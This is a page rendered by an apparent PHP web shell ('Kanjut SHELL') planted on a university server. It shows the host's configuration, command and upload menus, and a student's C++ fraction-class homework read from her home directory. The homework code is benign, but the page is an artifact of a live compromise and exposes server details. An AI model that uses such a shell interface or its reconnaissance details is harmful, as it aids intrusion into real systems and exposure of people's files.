Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.224.59.107
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/bnhans/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/bnhans/assignment3.cpp
//	CS 212 Assignemnt 3 
//	Due: 28 feb 2011
//
//	File: assignment3.cpp
//	Author: Brittani Hans
//	Instructor: Dr. Wang
//
//	Compiling: g++ assignment3.cpp
// 	Running: ./a.out < fraction.txt > out.txt
//
//	Goal: The program will read a file with 
//	fraction in odrer from first fraction operation 
//	second fraction and output the answer and the 
//	problem into another file.

#include <iostream>
using namespace std;

class Fraction	
{	int nume;
	int deno;
public:
	Fraction()
	{ 	nume = 0;
		deno = 1;
	}
	Fraction(int n, int d)
	{	nume = n;
		deno = d;
	}
	void Set(int n, int d)
        {       nume = n;
                deno = d;
        }
	void Print() const
	{	cout << nume << "/" << deno; 	}
	void reduce(Fraction & x)
	{
		int n = x.nume;
		int d = x.deno;

		while ( d !=0 )
		{		int r = n % d;
			n = d;
			d = r;
		}

		if ( n != 0 )
		{		x.nume /= n;
			x.deno /= n;
		}
		if (x.deno < 0)
		{
			x.nume *= (-1);
			x.deno *= (-1);
		}
	}
	Fraction operator +(Fraction x) 
	{	Fraction ans;		
		ans.nume = nume * x.deno + deno * x.nume;
		ans.deno = deno * x.deno;
		reduce(ans);
		return ans;
	}
	Fraction operator -(Fraction x)
        {       Fraction ans;           
                ans.nume = nume * x.deno - deno * x.nume;
                ans.deno = deno * x.deno;
		reduce(ans);
                return ans;
        }
	Fraction operator *(Fraction x)
        {       Fraction ans;          
                ans.nume = nume * x.nume;
                ans.deno = deno * x.deno;
		reduce(ans);
                return ans;
        }
	Fraction operator /(Fraction x)
        {       Fraction ans;           
                ans.nume = nume * x.deno;
                ans.deno = deno * x.nume;
		reduce(ans);
                return ans;
        }

};

/*
int main()
{
	Fraction a, b, c;	
	Fraction d, e, f;	
	int an, ad, bn, bd;
	cout << "The 1st fraction (nume, deno); ";
	cin >> an >> ad;
	cout << "The 2nd fraction (nume, deno); ";
	cin >> bn >> bd;
	a.Set(an, ad);	
	b.Set(bn, bd);
	
	c = a.Addition(b);
	e = a.Multiplication(b);
	a.Print();	
	cout << " + ";
	b.Print();	
	cout << " = ";
	c.Print();
	cout << "\n\n";
        a.Print();      
        cout << " * ";
        b.Print();      
        cout << " = ";
	e.Print();

	cout << "\n\nHi.\n\n.";
	return 0;
}*/

int main()
{
	int a1, b1;
	int a2, b2;
	char dummy, op;

	cin >> a1 >> dummy >> b1;
	cin >> op;
	cin >> a2 >> dummy >> b2;

	while(cin)
	{
		Fraction f1, f2, ans;
		f1.Set(a1, b1);
		f2.Set(a2, b2);

		if(op == '+') ans = f1 + f2;
		if(op == '-') ans = f1 - f2;
		if(op == '*') ans = f1 * f2;
		if(op == '/') ans = f1 / f2;
	
		f1.Print();
		cout << " " << op << " ";
		f2.Print();
		cout << " = ";
		ans.Print();
		cout << "\n\n";		
		
		cin >> a1 >> dummy >> b1;
        	cin >> op;
        	cin >> a2 >> dummy >> b2;

	}
	cout << "Hi.\n\n.";
	return 0;
}


Stv3n404 - 2023